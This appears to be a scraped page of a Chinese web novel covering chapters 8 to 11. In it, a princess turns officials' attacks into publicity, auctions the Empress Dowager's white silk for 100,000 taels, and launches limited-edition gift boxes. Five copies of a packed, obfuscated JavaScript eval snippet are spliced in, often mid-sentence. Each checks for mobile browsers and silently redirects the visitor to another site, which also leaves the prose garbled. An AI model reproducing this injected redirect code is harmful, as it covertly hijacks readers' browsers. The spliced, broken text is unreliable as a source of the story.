一旦动了澄清的念头,才真正是踩进了老古董们的坑里,在他们铺设好的那套封建纲常理论中深陷泥潭,难以脱身了。 不如让这些人继续大骂特骂,火上浇油,然后叫他们反噬自身! 沈鸣鹿迎上紫苏疑惑的目光,神秘一笑:“我们应当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235095|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 推波助澜,而后——以毒攻毒。” 太阳高悬当空,京城之内,茶楼酒肆依旧人声鼎沸,天下来客齐聚一堂,高谈阔论。 “诸位客官可知道,那长公主,堪称胆大包天!” 这一句话,石破天惊,又切中了当下最时兴的话题,不少人当即便被吸引了注意力,喝着茶的,灌着酒的,夹着菜的,全都停了动作,睁大眼睛,朝着说话的人望去。 只见大堂中央,原本讲着“太后感天”故事的说书人口风一转,拍着惊堂木,竟是绘声绘色地讲起了更猎奇的“小道消息”。 “要知道,咱们这位长公主卖的白绫,可是差点将太后的凤颈……” 声音忽然小了下去。原本对说书故事不感兴趣的酒客们都被勾得伸长了脖子,追着那道声音,想要听听下文。 “……给勒断咯!这玩意,反而拍了一出戏,说是能祈福?”说书人用纸扇点点面前的人,神秘兮兮道,“列为客官,您说,这是不是滑天下之大稽?是不是亵渎神灵?” 不等众人反应,声调一扬:“可您猜怎么着?还真有人抢着买!炒到了天价!您说邪门不邪门?” 大堂中顿时议论纷纷。 有人骂道:“长公主竟然用太后的‘绝命白绫’牟利,这分明是践踏孝道,目无礼法!” 此话一出,顿时引来一片骂声:“就是,说要支援北疆,谁知道最后钱去了哪里!” “分明就是发国难财!” “真是个败家公主!” 一位外地客商奇怪道:“那白绫本就是不祥之物,怎么会有人抢着买这种东西?” 一人为他解释:“兄台有所不知,长公主在朱雀大街上的那戏园子,如今每天都在演着‘太后白绫引祥瑞’的故事,说是太后心诚,引来神明显圣,百花盛开呢。” 客商道:“还有这等奇事?那我非得去看看不可。” 随着骂声而来的,是戏台前更多的观众,更多的讨论。街头巷尾,京城内外,一时之间,仿佛所有人都在议论这件事。 如今,要是有谁没看过白绫戏,那简直完全没法和人聊天,甚至会被京城的百姓鄙夷是没见识的乡下人。 人群蜂拥而至,义卖会的门票甚至不得不紧急加印数十版,以应对铺天盖地的抢购浪潮。 上朝途中路过的言官们看着戏台前不减反增的人流量,面面相觑,百思不得其解。 眼下的局面明明是他们想要的,百姓也都在痛骂长公主,可是…… 怎么反倒好像,让她这白绫戏……变得更火了? 8. 第 8 章 就在戏台前人头攒动的同时,之前和沈鸣鹿合作写戏本子的文人们也没闲着,他们一个个拿着丰厚润笔,笔杆子动的飞快,紧锣密鼓地写起了新的故事。 “边关将士之苦,谁人可知?” “军饷苦等不至,只能眼睁睁看着同袍饿死,无力回天!” “非常之时,需用非常之法,但能救国救民,又何须拘泥纲常礼节,对此义举大加弹劾,冠之诸多骂名?” “太后心系将士,甘愿舍身祈福,长公主心系边关,创义举救国,其心分明,可昭日月!” “敢问朝中诸公,自诩正义之士,在口诛笔伐之余,又可曾为边关将士的碗中添过一粒粟?加过一件衣?” 粗制滥造的小话本子在坊间飞快流传,读书人互相传阅,看得心潮澎湃,简直恨不得立即带着口粮赶往边关,赤身上阵以身报国。 渐渐的,他们再看见那些高高在上、指指点点、摇唇鼓舌的言官们时,心中本能便生出了几分反感。 是了,长公主再怎么离经叛道,至少做的事情都是为了救国。而那些骂她的言官又做什么贡献了? 饱食终日,无所事事,分明这才是朝堂的蠹虫! 他们一个个义愤填膺,再听见那些责骂长公主的言论,或不屑一顾,或舌战群儒,令更多人转向倒戈。 激烈的反对派仍然不肯服输:“你怎么知道长公主做这事是为了救国?她一介女流,懂什么边疆苦寒,懂什么国家危难,多半是借这个名义发国难财,中饱私囊罢了!” 以往这话一出,多半便能在争论中立于不败之地。然而这一次,说这话的人却遭到了嘲笑:“你还没见到戏台前的告示么?” 那人没反应过来:“什么告示?” 同伴道:“长公主将所有收到的善款都写在了一块大牌子上,每日更新!她若是想要中饱私囊,敢将这数目列出来么?” 反对者不信,非要跑去戏台前亲眼瞧瞧,却果然见到戏台前已默默支起了一块大大的木牌,上面醒目写着:累计已收善款一万三千两银。 “……” 反对的人铩羽而归,灰溜溜地回家,再也说不出话来了。 酒肆茶楼中的议论声,也悄然转了风向。 “长公主背负这样的骂名,可却还一直在默默做着实事。” “也不知那些瞧不起她、口诛笔伐的官老爷们,做了什么天大的贡献没有。” “呸!那些官老爷懂什么?他们家里堆金积玉,哪知道边关将士在啃雪!” “长公主殿下虽则是离经叛道,可那帮官老爷却是真真的歹毒心肠!” “整天只说不做,指手画脚,站着说话不腰疼!” 几位言官万万没想到,之前对于长公主的弹劾,那些锋利如刀、大义凛然的谴责,竟全都成了回旋镖,狠狠扎在了他们自个儿的脑门上! 但凡一出门,几人就会被义愤填膺的百姓扔一脑袋的臭鸡蛋和烂菜叶子,难听的骂声更是不绝于耳。 仿佛他们竟一夜之间成了什么十恶不赦的大罪人,成了让大梁国库空虚的罪魁祸首! 这这这,真是岂有此理! 言官们一向自命不凡,清高傲物,哪怕是到了朝堂上面对着文武百官,也是拿鼻孔看人,几时受过这种委屈! 他们不得不遮遮掩掩,避人耳目,跟做贼似的溜出门,跟几位同僚聚在一处,大倒苦水。 “李兄,弟已经被扔了三天臭鸡蛋,现在连朝服都不敢穿出门!” “贤弟,你尚且可以在家中躲个清静,我却是连睡觉都要被老婆骂!” 他们犹如笼中困兽,在不能见光的室内坐立不安,唉声叹气,愤愤不平。 “长公主此人,莫非是妖孽转世,如何这般擅长搅弄风雨、煽动人心!” 一人出谋划策:“她不是让钦天监为她说话么?我们便去找护国寺方丈,叫得道高僧判她为妖孽,给那白绫念经超度,看她还如何嚣张!” 侍立一旁的小童弱弱道:“老爷,方丈昨儿才开了法会,说那白绫确实是祥瑞,还亲自开光了来着……” 言官们:“……” 他们眼前一黑。 几位倒霉言官面面相觑,见着彼此都是怨气冲天,却又无可奈何的窝囊样子,不禁齐齐叹了口气。 “怎会如此,怎会如此?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235096|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我们连上奏折,谏言不断,闹出这般大的动静,却依然还是叫她翻了身,接下来可如何是好?” “回头那位大人怪罪下来,你我可都讨不了好!” 想起办事不力的后果,他们不禁都打了个寒战。 一人咬牙:“咱们绝不能就此认输,既然百姓被她愚弄,咱们便点破她的阴谋,釜底抽薪,叫上咱们的故友同窗一起下场,叫她和那白绫的名声全部臭掉!” “对,绝不能叫她那义卖会开起来!” 很快,舆论场上迎来了言官们凶猛的反扑。更多的奏折和文章涌现,对长公主兜售白绫、操纵舆论一事大加指责。 “长公主若是真心为国,便该乖乖前去和亲,此番作为,分明是盘剥百姓,祸国殃民,自私自利!” “那白绫若真是祥瑞,怎会惹来这般风雨,分明已叫这番铜臭行径染污,成了大凶之物!” 他们在朝会上骂的唾沫横飞,甚至恨不得拿着大喇叭站在街头巷尾朝百姓喊话,叫这些愚民听听他们的真知灼见,别被沈鸣鹿那妖女蒙骗! 然而没想到,他们一腔心血连夜编排出来的种种罪状,不仅让小皇帝听得直打哈欠,在百姓那头也根本没讨到好。 百姓们这些天里听了八卦无数,又经历了无数论战,对那些陈词滥调的指责骂声已经腻烦了,反而对那没见过的义卖会更感兴趣。 “你见到今天那公示牌了么?一共2万两银子了!算起来,岂不是得有两百多人去参加那义卖会!” “听说那义卖会,用的是‘拍卖’的形式,匿名叫价,价高者得。” “嘿,这可又是个没听说过的新样式!” “最近京城里来了好多大客商,喏,那晋商徽商的旗子,你瞧见了没?” “也不知最后谁能拿到那条白绫!” 百姓们对透露出的新情报津津乐道。此时,若是还有谁在他们之中骂长公主、骂白绫,抑或是骂言官骂朝廷,都只会被翻个白眼,坐上冷板凳。 吵来吵去,就那么来来回回两三句话,听得人耳朵都起茧子了。 还是那即将举办的义卖会,看着更新鲜有趣! 9. 第 9 章 言官们穷尽辞藻,用尽手段,却发现根本无人在意,应者寥寥,气得鼻子都歪了。 “那劳什子义卖会,就是光有个新鲜名头,教人好看热闹罢了!” “光是门票钱,那妖女就收了将近三万两!” 他们沉默下来,面面相觑,彼此的眼睛都红得要滴血。 若是一直这样下去,那还得了? 必须得想个法子,叫她那白绫卖不出去! 次日,挤挤攘攘的戏台前便冒出了一群地痞流氓,开始高声嚷嚷着闹事。 “祥瑞呢?祥瑞在哪,咋都是假花假树,不让俺们去瞧瞧真的?” “收这么多钱,咋不能分给俺们一点?” 这帮人平素就无赖惯了,这会拿钱办事,更是铆足了劲,甚至还跑到台上泼皮耍赖,叫长公主拿钱出来。 遭到驱赶时,他们便高声嚷嚷着长公主不顾百姓死活,是个只会做表面文章的毒妇。 “俺们也缺衣少食,凭什么只管那劳什子北疆的人,不管俺们死活!” “嘴上说得好听,谁知道她把银子花去了哪里!还不如拿出一些,给咱们哥几个分一分,看看诚意!” 围观百姓窃窃私语,指指点点,同情者有之,鄙夷者有之,褒贬不一。 街上乱糟糟的一片,然而很快,城防军便骑着高头大马,呼喝着来到了现场。 “谁在闹事!”几个官兵抽出刀来,驱赶围观人群,“再不离开,就统统抓了打板子!” 那几个流氓见此情形,非但不怕,反而一屁股坐到地上,故意哭嚎得更大声:“看看,看看,长公主连一文钱都不肯施舍,还要仗势欺人!” “俺的腿都摔折了,赔钱呐!” “俺们都是贫苦老百姓,俺们有什么错——” 喊着喊着,便见到围观百姓自发让出了一条道路出来。流氓们心中一喜,知道这必定是大人物来了。 若是今天真能从那长公主手中抠出银子,一举两得,岂不美哉?只要有了这一遭,以后他们可就再也不愁没钱花了! 然而待他们抹干眼睛,定睛去瞧时,却发现来的并非沈鸣鹿,而是一身铠甲,面容冷厉,犹如活阎王再世的谢容与。 谢容与骑在马上,身上银色铠甲泛着冷光,居高临下,朝他们淡淡一瞥:“几位壮士,既然这般羡慕北疆将士,恨不能以身代之,本将也不好拂了你们的报国之心。” 他侧过头去,命令道:“将他们扔进军营,发配戍边。” 地痞流氓们蜷缩在谢容与身下的阴影中,瞠目结舌,又见几个人高马大、肌肉虬结的侍卫朝他们走来,吓得两股战战,险些当场尿了裤子。 他们失声喊道:“将军,俺,俺们只是要钱,可没说要去北疆!” 谁要放着京城的好日子不过,跑去边疆吃土送人头,失心疯啦?! 谢容与却不为所动,道:“长公主筹集义银,便是为了支援北疆将士。你们在此索要银两,不正是想要捐身报国么?” 眼看着要被抓走,几人大惊失色,连滚带爬地往外跑。之前嚷嚷着腿折了的那个无赖,更是一溜烟跑得飞快。 “俺们不要钱了!不要钱了!”他们被提着领子抓回来,捆作一团,只能痛哭流涕,“俺们不要戍边!” 谢容与和颜悦色道:“你们既然跑到戏台前,当众请命,本将若是不能遂了你们的心愿,岂不是要被骂一声冷血无情?” 他笑着一提缰绳:“都是我大梁的热血男儿,岂能厚此薄彼呢?走吧!” 四面八方传来喝彩之声。早有百姓看不惯那些泼皮无赖,见到谢容与三下五除二将人收拾,顿时叫好。 “谢将军做得好!就是叫这几个泼皮吃吃苦头!” “去年偷了我家的鸡,到现在还抵死不认,该!” 受害者大仇得报,欢呼声此起彼伏,真是大快人心! 那些原本同情那几个地痞流氓的人,见此情形,才晓得这些人是闹事惯了的主,顿时暗骂一声看走了眼,以手遮面,灰溜溜地不敢再说话。 一桩风波就此平息。背后之人听说了几名无赖的下场,也有些惊疑不定。 “那谢容与,不是一向与长公主不对付的么?怎么亲自出来帮忙?” “都说财帛动人心,那小子莫不是叫那妖女用钱财收买了?” 想到此处,他们又连连摇头,忙否决了这个可怕的念头。 “不对,不对,之前明明听说他们还在御前打赌,若是长公主筹到银两,可是要让谢将军下跪磕头的!男儿膝下有黄金,谢将军岂能忍受此等奇耻大辱!” “没错,那谢将军分明是想要送公主出去和亲的,又岂会为她做事!” 一人摸着下巴,沉声道:“想来那日他只是在外办事,正好路过,众目睽睽之下,不好放着不管,便顺道收拾了几个无赖罢了。并不曾想是帮了长公主一马,指不定得知真相之后,要多么懊丧悔恨呢。” 其余人恍然大悟,纷纷拱手,钦佩道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235097|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “兄台慧眼如炬,想来正是这样!” 他们商议起来:“既然如此,那便修书一封,向他告知实情,请他助我等一臂之力!” 当晚,一封信便送到了将军府。 一豆烛光映在纸上,谢容与一目十行,看完信中罗列的长公主种种罪状,以及司空见惯的谄媚拉拢之语,付之一笑。 他将信重新叠好,想了想,又在后面提笔略写了几个字,对下人道:“送去长公主府。” 月上中天,沈鸣鹿本已经准备就寝,居然收到这封连夜送来的急信,颇有些莫名其妙。 谢容与给她传信? 黄鼠狼给鸡拜年呢? 她披上外衣,从紫苏手中接过信来一看,挑眉:“哟,这是向本宫邀功来了。” 只见纸上密密麻麻的小字之下,赫然是一行潇洒行楷,洋洋洒洒:“此信字字泣血,控诉殿下祸国殃民,并许以重金,劝臣回头是岸。然臣愚钝,不幸已上贼船,做了殿下走狗,竟与万贯钱财失之交臂,不由捶胸顿足,怅恨久矣。” 笔锋一转,图穷匕见:“不知殿下可愿奖赏一二,以慰臣心?” 翻译成大白话就是:他们给了好多钱来收买我,还好言好语安慰我不要伤心,长公主您看,要不也给我点好处意思意思一下? 沈鸣鹿看到最后,不由翻个白眼,哼道:“此人号称与本宫结盟,却还向本宫索贿,真是臭不要脸!” 她命紫苏铺纸研墨,提起狼毫,字迹飞扬:“将军过谦。本宫听闻谢大将军统帅一方,以身作则,高风亮节,一向视金钱如粪土,本宫又岂能用那等俗物污辱将军?” 她大笔一挥:“——驳回!” 谢容与拿到这枚小笺,首先闻到的是一股淡淡的梅花香气。 他将信笺读了又读,修长手指反反复复抚摸笺上字迹,爱不释手,显然心情颇好。 一旁侍卫偷瞄一眼,实在不明白自家将军有啥可乐的,提醒道:“将军,长公主这话,分明是指桑骂槐,明褒暗贬,说您不是呢。” 谢容与摇摇头,道:“她只是爱财如命,分文不想让我罢了。” 侍卫觉得这听起来也没有好到哪去,更加不解:“……那您咋还这么高兴?” “你不明白。”谢容与抬手,指尖仿佛还有温暖花香流连不去。他轻轻嗅闻,唇角若有若无地勾起弧度:“长公主这幅财迷模样,其实十分可爱。” 侍卫欲言又止,最后只能憋出一句:“……将军喜欢就好。” 10. 第 10 章 外界舆论几番反转,反倒叫义卖会的关注度只增不减,眼看成了京城二月里的头一桩大热闹。 消息像长了翅膀一样飞向四面八方,京城内外的旅店客舍全部爆满,戏台告示栏上的数字噌噌往上窜,叫人看得热血沸腾。 白绫的热度蒸蒸日上,就连护国寺都挤的人满为患,不管是百姓还是权贵,都按捺不住蠢蠢欲动的好奇心,想要一睹为快。 面对这一情形,自然是有人欢喜有人忧。 几位言官聚在一起,脸色难看至极。 “谢将军那里,还是没有回音么?” “依然没有收到回信。弟已派下人去他府上递了帖子,却也只是被管家敷衍应付,根本见不着他的人。” “最近在街上也没见到他的身影,不知去了哪里。” “从前便听说此人孤傲冷酷,不喜与文官往来,想来并非空穴来风。” 一人面色凝重,喃喃道:“莫不是点破了他的丑事,反教他记恨上了吧?” 拉拢不成,反而又立了新仇家。房间内的气氛愈发愁云惨淡。 一墙之外,又有路过的百姓议论,声音高亢:“老张,你见到长公主那告示牌上的字了没?现如今,长公主已经筹了三万多两银子了!” “看到了看到了,真是跟坐火箭似得嗖嗖往上窜!我看哪,照这势头下去,筹到百万银两也根本不是难事!” “北疆之难,恐怕还真能叫长公主给化解了!” 那声音说说笑笑走远了。一墙之隔,言官们面面相觑,见到彼此均是愁眉苦脸,齐齐叹气:“若是再不想点办法,长公主那白绫,怕不是真要卖出天价!就连之前说好的和亲,也要泡汤了!” 若是和亲之事告吹,真叫谢容与带兵打了过去,那之前北狄那边许诺的好处,岂不是全都化为泡影? 室内一时沉默,一人脸色铁青,重重一锤桌子:“此事绝不可能,那白绫本就是晦气之物,大家不过看个热闹罢了,谁会愿意真金白银买这种东西!” 另一人神情凝重,不安道:“怕有无知百姓,或是逐利商贾,受她蒙骗,倾家荡产来买此物,只为博人眼球。” “那也必定是血本无归的赔本买卖!” 他们越说越愤愤不平,看着彼此,忽然灵光一现:“若是我们低价将此物提前买下,不就可以解决这个祸患了吗?” 一人沉吟道:“长公主特意造了这么大的声势,会愿意将那白绫提前卖出吗?” 身边之人笃定道:“怕什么,区区一个深宫长大的公主,能有什么见识?不过是会点奇技淫巧罢了!凭借我等三寸不烂之舌,与她当面对峙,教她道理,必定叫她吓破胆子,不敢再做这等惊世骇俗之事!” “李兄说的有道理!” 几位言官说着说着,顿时又充满了自信。 他们搞不定皇帝,搞不定市井小民,搞不定谢将军,难不成还搞不定一个年不过20的弱女子吗! 擒贼先擒王,只要搞定了长公主,那其他的事情,自然全都不在话下! 义卖会在即,他们不敢耽搁时间,立刻向长公主府下了拜帖,紧急求见。 沈鸣鹿接到帖子,看到来者姓名,露出诧异神色:“还真是稀客。” 这几人在朝堂上把她骂得狗血淋头,又在外面拼命说她坏话,也不知道是谁给他们的勇气来见她的。 这般想着,沈鸣鹿也多少生出点好奇心,便往太师椅上一靠,懒洋洋一抬手,吩咐侍女:“带几位大人进来说话吧。” 几位言官鱼贯而入,面容整肃,朝着沈鸣鹿行礼:“见过长公主。” 沈鸣鹿摆摆手,单手支头,上下打量他们:“免礼,几位大人前来所为何事?” 其中一位言官一马当先,道:“长公主,我等之前在朝堂上的言论,想必你已听过了。” 沈鸣鹿笑眯眯:“是的,不知几位大人今日又有何指教?” 几人听她口气,似乎态度还算和软,便你一言我一语,当真趾高气扬地指教起来。 “长公主可知,市井流言皆以白绫之事调笑取乐,更有流氓之辈,以此污蔑太后凤体,实在可恨!” “若是真将白绫卖出,落入商贾之手,恐怕大梁皇家将颜面扫地,威严荡然无存!” “更何况,此物本就不详,坊间百姓不过看热闹罢了,若明日拍卖会无人出价,殿下此举,岂不是成了笑话一场!” 沈鸣鹿听了只觉得好笑,却故作忧愁,叹息道:“原来如此可怕,可惜消息已经放出去了,本宫如今可是为难得很啊。” 几位言官见此情形,心中一喜,心道这长公主果然好说话,立即道:“不如这样,臣等愿以一千两私下购下此物,暗中销毁,既全了殿下颜面,又可平息流言,长公主看如何?” 这一千两,已经是他们抠抠搜搜,好不容易能凑出来的一个体面数额了。虽然跟门票钱比不了,但总好过最后流拍,一无所有吧! 他们见沈鸣鹿沉吟,又加了一把火:“长公主须知此事荒谬至极,影响恶劣,我等也是为公主、为皇家名声考虑,好言相劝,还望公主好生考量,莫要因小失大!” 沈鸣鹿看完了他们的表演,笑眯眯问:“哦,讲完了?” “是。”言官倨傲道,“臣等还有公务在身,时间紧迫,还请公主尽快做出决定。” 沈鸣鹿道:“无妨,本宫已经做好决定了。” “本宫决定不卖给你们。”不等几个言官作出反应,她便笑着一挥手,“送客。” 几个言官愣在原地,直到被侍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235098|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女推出门外,这才急得吹胡子瞪眼:“长公主!殿下你你,怎么如此不知好歹!” 侍女鄙夷道:“我们长公主光是义卖会门票就卖了三万两,你们却想要用一千两提前买下太后白绫?真是白日做梦,瞧不起谁呢!” 另一位侍女笑道:“哎呀几位大人怕不是瞧这生意好做,想提前进货,方便日后高价转手呢。如意算盘打得好响亮,却当我们长公主是傻子不成?” 几位言官被她们一顿奚落,又气又羞,面色涨红,恼怒道:“胡言乱语!我等分明是为皇室名节考虑,岂会做那种唯利是图的商贾之事!” 然而不等他们将话说完,两位侍女已嘻嘻笑着,当他们的面关上了门。砰一声响,让怒叫的几人碰了一鼻子的灰。 言官们犹如丧家之犬,悻悻然离开长公主府,一路骂骂咧咧。 “真是骄狂!” “目光短浅!” “我们好话歹话说尽,她却如此不识抬举!” 他们狠狠诅咒道:“等着瞧吧,一定卖不出去!” 他们铆足了劲,继续拼命散播流言,明里暗里地说长公主的不是,说白绫如何如何晦气,企图吓退那些想要参加义卖的富商。 众说纷纭,万众瞩目之下,白绫义卖如期举行。 入场嘉宾被请上戏台后的阁楼,依次入座。外面的百姓只能挤挤攘攘地凑在墙边,听听热闹。 “我好像听到有人出价了!” “是的是的,已经出到五千两银子了!” 几个言官自然也是买不起那门票的,只能穿着常服,挤在百姓中间,竖起耳朵听里头的动静。 越听,越是面色铁青。 又有百姓惊呼道:“一万两!里头出到一万两了!” 言官们听得心里直冒火,一人甚至气得呼喝起身边起哄的百姓:“吵吵什么!成何体统!” 然而老百姓也不是吃素的,一位壮汉当即给了他一拳:“干你鸟事!” 那言官被打得眼冒金星,两耳嗡鸣,被同伴搀扶出去,却依稀又听见几个字样。 “三万两了!晋商好大手笔!” “又有人出价了——五万两!” 接着,是一声重重的落槌声,还有人群的惊叫与欢呼:“定了定了!天啊,好大数目!” 头晕目眩的言官挣扎起身,喘着粗气,瞪眼看着那爆发出热烈声浪的地方,嘶哑问道:“那白绫……最后究竟卖出多少钱了?” 同伴面如土色,嘴唇颤抖说不出话。一旁却有路过百姓,得意洋洋朝他道:“这位兄台,你刚才没听到么?” 他仿佛与有荣焉一般,不等几个言官回答,便大声道: “——十万两!” “这条白绫,一共卖了十万两!” 11. 第 11 章 一条太后拿来上吊的白绫,竟卖出了十万两白银! 即便是全程观望此事的达官贵人们,得知最后的结局,也不由得倒吸一口凉气。 “加上前期收的那些门票钱,岂不是叫长公主一口气赚了十几万两?” “好厉害的敛财手段!” “究竟是哪个冤大头出了这般高价?” 一位知道内情的下人,端着笑脸,低声说道:“回大人,是江南那边的商会,联合几个大商号,共同出资,一起将这条白绫请了回去。” 一位上了年纪的贵妇人听了这话,不由轻轻嗤笑:“江南商会?南方这些商人,莫非是傻子不成,竟然花这样大价钱,买一件徒有虚名的晦气东西?” 下人瞅他脸色,不敢直接反驳,只能小心翼翼道:“听说他们买下白绫后,江南那边商户的预约请求直接爆满,店面内的客人也是络绎不绝……” 说着说着,在座的众人不由得都沉默下来,脸色个个精彩纷呈。 试问,就长公主这造势手段,但凡听说过这件事情的人,哪个能不好奇?谁不想去亲眼看看这条传说中争议巨大、又身价奇高的白绫? 长此以往,这条白绫为那些商户带来的利润,又岂止是十万两白银! 这些自恃身份,起先奚落嘲笑沈鸣鹿和这条白绫的人,此时心中都不由得暗暗后悔。 他们怎么就没提前慧眼识珠,出价买下白绫,为自家产业造势,反叫那些狡猾的南方人捡了这个大宝贝去! 此番对比之下,之前嘲笑南方商户的他们,反倒更像是鼠目寸光的大傻子! 权贵富商们在这自顾自地懊丧悔恨着,沈鸣鹿却正春风得意,躺在府中美滋滋地数着钱。 她拥着狐裘,躺在暖炉旁边,修长手指快速拨着算盘,一边算着这次营销活动的进账,一边筹划着下一步行动。 十万两白银的成交价,将白绫的热度炒到了最高点,也让所有人的注意力跟着白绫去了江南商会。 如果她不抓紧做点什么,借这波热度再捞一波钱,那么这些日子的努力,就全都为人作嫁了! 沈鸣鹿啪啪拨着算盘,桌上堆满了零零碎碎的小物件,都是从太后宫中找出来的闲置物品。紫苏站在一旁,端起一只银色莲花器皿,问道:“公主是要效法白绫的模式,将这些东西也拿去义卖么?” 她有些忧虑:“公主卖白绫这招,胜在新鲜有趣。如果一直重复下去,叫大家看疲了,恐怕那些商贾不会再买账的。” 沈鸣鹿算完一笔账,刷刷在纸上写了两笔,这才满意笑道:“你说得对,像白绫那样的高价,是很难再出现了。” 紫苏问:“那这些东西,我明日再送回宫里吧?” 沈鸣鹿却摇摇头,竖起一根食指:“不不不,我们不重复白绫的模式,却不代表这些东西就不能卖。” 她见紫苏一头雾水,便细细同她解释道:“我们卖出白绫之后,坊间是不是都在议论此事?白绫只有一条,那些没买到的人,是不是都抓心挠肝,也想弄个同款?” 紫苏若有所思:“公主的意思是……” 沈鸣鹿兴致勃勃道:“我们可以找些匠人,翻刻这些零散物件,一起包装成‘太后赐福’的祥瑞系列,挂在店铺里持续发售!” 真品孤品已经出售完毕,现在当然就是卖联名同款的时候了! 她要让这条白绫的热度,从高端市场冲向中低端,席卷所有人的钱包! 沈鸣鹿细细指点道:“那些京城商户,不是也对本宫的生意眼红的要死么?正好给他们一个机会,和本宫一起做生意,只要和本宫上了一条船,谁还会嫌钱多呢?“ 卖点小商品,可以把整个产业链条都带动起来,让大家都来分一杯羹——参与进来的人越多,她的势力也就越大,后续赚钱,便如顺水推舟,轻而易举! 紫苏微一思索,便想明白了其中关窍,叹服道:“公主走一步看三步,果然聪慧!我这便去派人去准备,备好充足的货。” 沈鸣鹿却道:“也不必一开始就那么充足。” 紫苏迟疑:“可若是百姓抢购起来,数量不够怎么办?” 沈鸣鹿神秘一笑:“数量不够,那岂不是更好么?” “告诉大家,礼盒是限量的。”她拨了拨算盘珠子,笑容狡黠,“若是真心想要的话,可得抓紧时间来买。” 是时候,让大梁感受一下饥饿营销的震撼了! 有了白绫的成功在前,接下来的合作便都谈的十分顺利。 京城的权贵富商们本就后悔没早点上车,这下听说长公主又有新的生意要做,立即派出得力心腹前来交好,个个都满脸笑容,迫不及待地与她达成了合作。 有钱,当然是要大家一起赚了。毕竟谁会嫌钱多呢?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16235099|181844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正当百姓们还在热议白绫一事时,许多有名的老字号铺面便在自家门前挂上了醒目招牌,摆出了太后赐福物件的礼盒。 百姓们好奇驻足观望,议论纷纷。 “太后赐福系列?这盒子里装的莫非也是白绫么?” “这一盒东西,居然只收一两银子,想来肯定不是真货。” 正说着,便看见伙计从柜台后面走出来,笑容满面:“嘿客官,您知道那条价值十万两白银的祥瑞白绫,想必也是看过白绫戏的吧?“ 那位百姓傲然道:“那是当然,俺可是土生土长的本地京城人,白绫戏第一次演出,俺就去看过了!” 那伙计又道:“那戏台上,太后祈福时用的其他物件,您可还记得?” 那百姓一时有些踟蹰。伙计便笑着打开一只礼盒,银色莲花托盘映着日光,一时光辉灿烂,晃花了围观众人的眼睛:“是不是就有这一样?” 周围的人一时间看傻了眼,然后一人蓦地发出惊呼:“是了是了!我记得,这是太后洗手时用的银盆!” “难怪叫做‘太后赐福’系列,果然是和白绫一样,沾了祥瑞之气的同款物件!” 这几声喊叫之后,人群顿时便骚动起来。伙计不紧不慢,收起礼盒,冲众人抱拳笑道:“我们这样的平头百姓,自然是够不着十万两的白绫。但诸位客官,若能用这样的价格买到太后祈福同款,一起沾沾福气,岂不是物超所值?” “不管是自留还是送礼,可都划算的很呐!” 百姓顿时有些蠢蠢欲动。 是啊,他们兜里这点小钱,哪里敢奢望染指太后用过的白绫。而如果单纯只是买一条普通白绫当替代,却也有些嫌晦气。 可如果,他们能以一个相当划算的价格,买到其他的一些祈福同款物件呢? 这些东西买回家里,不仅能满足他们的好奇心和虚荣心,还能让家人亲戚也沾沾福气。更何况,这个价格,他们都能出得起! 见到人群躁动,伙计干脆再加了一把火:“本店今日限量五百盒,售完即止!” 听到这句话,人群中立即有人叫道:“我要买!给我一套!“ 其他人一边在心中暗骂这些商家会做生意,一边也急着掏出银票挤了上去:“我也要!” “给我拿三盒!” 这礼盒可是限量的,来晚了,可就买不到了! 12. 第 12 章 